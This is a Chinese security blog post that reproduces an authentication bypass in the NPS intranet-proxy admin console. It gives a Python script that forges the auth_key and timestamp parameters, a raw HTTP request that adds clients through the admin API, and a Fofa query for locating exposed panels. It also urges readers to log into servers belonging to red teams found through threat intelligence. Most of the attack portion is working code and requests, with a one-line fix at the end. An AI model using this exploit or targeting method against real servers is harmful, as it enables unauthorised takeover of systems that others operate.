红队反制 – 接管 NPS 控制台
最近看到有意思的东西,参考千寻瀑的文章复现了一下
https://github.com/ehang-io/nps/releases/tag/v0.26.10
到 github 上下载相应的版本,我这里用的 win 就下载 win 相关的客户端和服务端
下载完成后,输入以下命令,接着访问 8080 端口进入 web 页面,默认账号密码为 admin/123
nps.exe install
nps.exe start
客户端连接
web 控制台正常是需要密码才能登录的,但是由于默认配置导致可以伪造认证进行访问,就是时间有点短只有 20s
漏洞位置位于 webcontrollersbase.go
而在 nps.conf 配置文件里,auth_key 默认是被注释掉的
因此只需要添加 auth_key 和 timestamp 两个参数即可登入后台和使用相关功能点
使用脚本:
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
把生成的字段填到 url 后面,直接登入后台
相关功能点的使用也同样原理,本地把相关接口提取出来,然后替换相应的字段重新发包即可
比如这里新建了一个客户端 id 值为 3,我们只需发包即可进行删除
可以看到相应的客户端已经被删除
娱乐玩法:让红队感受一下我们的存在
POST /client/add?auth_key=91062628846838dd081437f7b1f320a1×tamp=1659667675 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 130
Origin:
Connection: close
Referer:
remark=&u=%E7%BA%A2%E9%98%9F%E3%80%81%E4%BD%A0%E8%A2%AB%E5%8F%8D%E5%88%B6%E4%BA%86&p=&vkey=&config_conn_allow=1&compress=0&crypt=0
Fofa 语法:body=”NPS” && port=”8080”
接下来可以去威胁情报提取 IP 进行红队反制了,随机挑选一名幸运观众进去瞅瞅,瞅一眼就好了,再看就不礼貌了 = =(也体恤一下 RT 兄弟辛苦搞来的口子)
修复方案:把 auth_key 注释去掉重新编译就好,不要直接下载 github 的 release 版本
暂无评论内容